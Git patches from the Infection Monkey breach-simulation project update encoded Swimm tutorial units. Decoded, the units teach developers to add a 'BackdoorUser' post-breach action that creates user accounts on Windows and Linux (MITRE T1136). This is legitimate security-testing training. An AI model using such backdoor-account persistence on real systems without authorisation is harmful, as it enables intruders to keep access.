JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTEzNiUyMiU1RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUwQQ==",
+ "description": "UmVhZCUyMCU1Qm91ciUyMGRvY3VtZW50YXRpb24lMjBhYm91dCUyMGFkZGluZyUyMGElMjBuZXclMjBQQkElNUQoaHR0cHMlM0ElMkYlMkZ3d3cuZ3VhcmRpY29yZS5jb20lMkZpbmZlY3Rpb25tb25rZXklMkZkb2NzJTJGZGV2ZWxvcG1lbnQlMkZhZGRpbmctcG9zdC1icmVhY2gtYWN0aW9ucyUyRikuJTBBJTBBQWZ0ZXIlMjB0aGF0JTIwd2UlMjB3YW50JTIweW91JTIwdG8lMjBhZGQlMjB0aGUlMjBCYWNrZG9vclVzZXIlMjBQQkEuJTIwVGhlJTIwY29tbWFuZHMlMjB0aGF0JTIwYWRkJTIwdXNlcnMlMjBmb3IlMjBXaW4lMjBhbmQlMjBMaW51eCUyMGNhbiUyMGJlJTIwcmV0cmlldmVkJTIwZnJvbSUyMCU2MGdldF9jb21tYW5kc190b19hZGRfdXNlciU2MCUyMC0lMjBtYWtlJTIwc3VyZSUyMHlvdSUyMHNlZSUyMGhvdyUyMHRvJTIwdXNlJTIwdGhpcyUyMGZ1bmN0aW9uJTIwY29ycmVjdGx5LiUyMCUwQSUwQU5vdGUlMjB0aGF0JTIwdGhlJTIwUEJBJTIwc2hvdWxkJTIwaW1wYWN0JTIwdGhlJTIwVDExMzYlMjBNSVRSRSUyMHRlY2huaXF1ZSUyMGFzJTIwd2VsbCElMjAlMEElMEElMjMlMjBNYW51YWwlMjB0ZXN0JTIwdG8lMjBjb25maXJtJTBBJTBBMS4lMjBSdW4lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEyLiUyME1ha2UlMjBzdXJlJTIweW91ciUyMG5ldyUyMFBCQSUyMGlzJTIwZW5hYmxlZCUyMGJ5JTIwZGVmYXVsdCUyMGluJTIwdGhlJTIwY29uZmlnJTIwLSUyMGZvciUyMHRoaXMlMjB0ZXN0JTJDJTIwZGlzYWJsZSUyMG5ldHdvcmslMjBzY2FubmluZyUyQyUyMGV4cGxvaXRpbmclMkMlMjBhbmQlMjBhbGwlMjBvdGhlciUyMFBCQXMlMEEzLiUyMFJ1biUyME1vbmtleSUwQTQuJTIwU2VlJTIwdGhlJTIwUEJBJTIwaW4lMjB0aGUlMjBzZWN1cml0eSUyMHJlcG9ydCUwQTUlMkMlMjBTZWUlMjB0aGUlMjBQQkElMjBpbiUyMHRoZSUyME1JVFJFJTIwcmVwb3J0JTIwaW4lMjB0aGUlMjByZWxldmFudCUyMHRlY2huaXF1ZSUwQQ==",
"dod": "WW91JTIwc2hvdWxkJTIwYWRkJTIwYSUyMG5ldyUyMFBCQSUyMHRvJTIwdGhlJTIwTW9ua2V5JTIwd2hpY2glMjBjcmVhdGVzJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG1hY2hpbmUu",
"summary": "VGFrZSUyMGElMjBsb29rJTIwYXQlMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwb2YlMjB0aGUlMjBpc2xhbmQlMjBhZ2FpbiUyMC0lMjBzZWUlMjB0aGUlMjAlMjJjb21tYW5kJTIwdG8lMjBydW4lMjBhZnRlciUyMGJyZWFjaCUyMiUyMG9wdGlvbiUyMHdlJTIwb2ZmZXIlMjB0aGUlMjB1c2VyJTNGJTIwSXQncyUyMGltcGxlbWVudGVkJTIwZXhhY3RseSUyMGxpa2UlMjB5b3UlMjBkaWQlMjByaWdodCUyMG5vdyUyMGJ1dCUyMGVhY2glMjB1c2VyJTIwY2FuJTIwZG8lMjBpdCUyMGZvciUyMHRoZW1zZWx2ZXMuJTIwJTBBJTBBSG93ZXZlciUyQyUyMHdoYXQlMjBpZiUyMHRoZSUyMFBCQSUyMG5lZWRzJTIwdG8lMjBkbyUyMHN0dWZmJTIwd2hpY2glMjBpcyUyMG1vcmUlMjBjb21wbGV4JTIwdGhhbiUyMGp1c3QlMjBydW5uaW5nJTIwYSUyMGZldyUyMGNvbW1hbmRzJTNGJTIwSW4lMjB0aGF0JTIwY2FzZS4uLiUyMA==",
"file_version": "1.0.2",
From 1bb5fff345abb5e9ea37dee0df2fc4d3a0dc97df Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Wed, 12 Aug 2020 15:50:24 +0300
Subject: [PATCH 05/81] Reconfigure swimm to enable review of done units
---
.swm/swimm.json | 8 ++++++--
1 file changed, 6 insertions(+), 2 deletions(-)
diff --git a/.swm/swimm.json b/.swm/swimm.json
index 859a889c6..e0b9d91df 100644
--- a/.swm/swimm.json
+++ b/.swm/swimm.json
@@ -1,3 +1,7 @@
{
- "repo_id": "6Nlb99NtY5Fc3bSd8suH"
-}
\ No newline at end of file
+ "repo_id": "6Nlb99NtY5Fc3bSd8suH",
+ "configuration": {
+ "cr_prompt_push_solution": true,
+ "store_solution_upon_done": true
+ }
+}
From cd702bd8e5a6f53b6df8357c92a845a48148f8d1 Mon Sep 17 00:00:00 2001
From: Swimm
Date: Wed, 19 Aug 2020 16:48:29 +0300
Subject: [PATCH 06/81] Swimm: saved Unit 'Simple Post Breach action - CLI
commands only' (tbxb2cGgUiJQ8Btma0fp)
---
.swm/tbxb2cGgUiJQ8Btma0fp.swm | 30 +++++++++++++++---------------
1 file changed, 15 insertions(+), 15 deletions(-)
diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm
index 4ebed1905..0467a9dca 100644
--- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm
+++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm
@@ -9,7 +9,7 @@
"files": {
"monkey/common/data/post_breach_consts.py": {
"index": [
- "c3bba995..b7a228bb",
+ "c3bba995..031f9ad0",
"100644"
],
"fileA": "monkey/common/data/post_breach_consts.py",
@@ -18,57 +18,57 @@
"numLineDeletions": 1,
"numLineAdditions": 1,
"hunkContainers": [
- "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTIwJTNEJTIwJTVDJTIyQ29tbXVuaWNhdGUlMjBhcyUyMG5ldyUyMHVzZXIlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyMCUzRCUyMCU1QyUyMkJhY2tkb29yJTIwdXNlciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjJQT1NUX0JSRUFDSF9CRF9VU0VSJTIwJTNEJTIwJTVDJTIyQmFja2Rvb3IlMjB1c2VyJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0ZJTEVfRVhFQ1VUSU9OJTIwJTNEJTIwJTVDJTIyRmlsZSUyMGV4ZWN1dGlvbiU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlMkMlMjJiJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX1NIRUxMX1NUQVJUVVBfRklMRV9NT0RJRklDQVRJT04lMjAlM0QlMjAlNUMlMjJNb2RpZnklMjBzaGVsbCUyMHN0YXJ0dXAlMjBmaWxlJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNCUyQyUyMmIlMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwUE9TVF9CUkVBQ0hfSElEREVOX0ZJTEVTJTIwJTNEJTIwJTVDJTIySGlkZSUyMGZpbGVzJTIwYW5kJTIwZGlyZWN0b3JpZXMlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1JTJDJTIyYiUyMiUzQTUlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E1JTdEJTdEJTdEJTdE"
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTIwJTNEJTIwJTVDJTIyQ29tbXVuaWNhdGUlMjBhcyUyMG5ldyUyMHVzZXIlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyMCUzRCUyMCU1QyUyMkJhY2tkb29yJTIwdXNlciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjMlMjBTd2ltbWVyJTNBJTIwUFVUJTIwVEhFJTIwTkVXJTIwQ09OU1QlMjBIRVJFISUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9GSUxFX0VYRUNVVElPTiUyMCUzRCUyMCU1QyUyMkZpbGUlMjBleGVjdXRpb24lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EzJTJDJTIyYiUyMiUzQTMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9TSEVMTF9TVEFSVFVQX0ZJTEVfTU9ESUZJQ0FUSU9OJTIwJTNEJTIwJTVDJTIyTW9kaWZ5JTIwc2hlbGwlMjBzdGFydHVwJTIwZmlsZSU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0hJRERFTl9GSUxFUyUyMCUzRCUyMCU1QyUyMkhpZGUlMjBmaWxlcyUyMGFuZCUyMGRpcmVjdG9yaWVzJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0E1JTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E1JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNSU3RCU3RCU3RCU3RA=="
]
},
"monkey/infection_monkey/post_breach/actions/add_user.py": {
"index": [
- "58be89a1..a35f59fe",
+ "58be89a1..d8476a97",
"100644"
],
"fileA": "monkey/infection_monkey/post_breach/actions/add_user.py",
"fileB": "monkey/infection_monkey/post_breach/actions/add_user.py",
"status": "MODIFIED",
"numLineDeletions": 9,
- "numLineAdditions": 6,
+ "numLineAdditions": 1,
"hunkContainers": [
- "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDMTUlMjAlMkIxJTJDMTIlMjAlNDAlNDAlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMmZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjBQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwaW5mZWN0aW9uX21vbmtleS5jb25maWclMjBpbXBvcnQlMjBXb3JtQ29uZmlndXJhdGlvbiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwUE9TVF9CUkVBQ0hfQkRfVVNFUiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBmcm9tJTIwaW5mZWN0aW9uX21vbmtleS5wb3N0X2JyZWFjaC5wYmElMjBpbXBvcnQlMjBQQkElMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EzJTJDJTIyYiUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBmcm9tJTIwaW5mZWN0aW9uX21vbmtleS51dGlscy51c2VycyUyMGltcG9ydCUyMGdldF9jb21tYW5kc190b19hZGRfdXNlciUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTYlMkMlMjJiJTIyJTNBNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGNsYXNzJTIwQmFja2Rvb3JVc2VyKFBCQSklM0ElMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTJDJTIyYiUyMiUzQTYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjBkZWYlMjBfX2luaXRfXyhzZWxmKSUzQSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTglMkMlMjJiJTIyJTNBNyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBsaW51eF9jbWRzJTJDJTIwd2luZG93c19jbWRzJTIwJTNEJTIwZ2V0X2NvbW1hbmRzX3RvX2FkZF91c2VyKCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTklN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24udXNlcl90b19hZGQlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBXb3JtQ29uZmlndXJhdGlvbi5yZW1vdGVfdXNlcl9wYXNzKSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHN1cGVyKEJhY2tkb29yVXNlciUyQyUyMHNlbGYpLl9faW5pdF9fKCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBsaW51eF9jbWQlM0QnJTIwJy5qb2luKGxpbnV4X2NtZHMpJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwd2luZG93c19jbWQlM0R3aW5kb3dzX2NtZHMpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBsaW51eF9jbWRzJTJDJTIwd2luZG93c19jbWRzJTIwJTNEJTIwZ2V0X2NvbW1hbmRzX3RvX2FkZF91c2VyKCklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0E4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoQmFja2Rvb3JVc2VyJTJDJTIwc2VsZikuX19pbml0X18obmFtZSUzRFBPU1RfQlJFQUNIX0JEX1VTRVIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0E5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kJTNEJyUyMCcuam9pbihsaW51eF9jbWRzKSUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwd2luZG93c19jbWQlM0R3aW5kb3dzX2NtZHMpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0ExMiU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBMTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0ExMiU3RCU3RCU3RCU3RA=="
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDMTUlMjAlMkIxJTJDNyUyMCU0MCU0MCUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyZnJvbSUyMGNvbW1vbi5kYXRhLnBvc3RfYnJlYWNoX2NvbnN0cyUyMGltcG9ydCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMmZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LmNvbmZpZyUyMGltcG9ydCUyMFdvcm1Db25maWd1cmF0aW9uJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnBvc3RfYnJlYWNoLnBiYSUyMGltcG9ydCUyMFBCQSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlMkMlMjJiJTIyJTNBMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnV0aWxzLnVzZXJzJTIwaW1wb3J0JTIwZ2V0X2NvbW1hbmRzX3RvX2FkZF91c2VyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNCUyQyUyMmIlMjIlM0EyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0EzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNiUyQyUyMmIlMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwY2xhc3MlMjBCYWNrZG9vclVzZXIoUEJBKSUzQSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTclMkMlMjJiJTIyJTNBNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMGRlZiUyMF9faW5pdF9fKHNlbGYpJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOCUyQyUyMmIlMjIlM0E2JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZHMlMkMlMjB3aW5kb3dzX2NtZHMlMjAlM0QlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIoJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBXb3JtQ29uZmlndXJhdGlvbi51c2VyX3RvX2FkZCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFdvcm1Db25maWd1cmF0aW9uLnJlbW90ZV91c2VyX3Bhc3MpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoQmFja2Rvb3JVc2VyJTJDJTIwc2VsZikuX19pbml0X18oJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlN0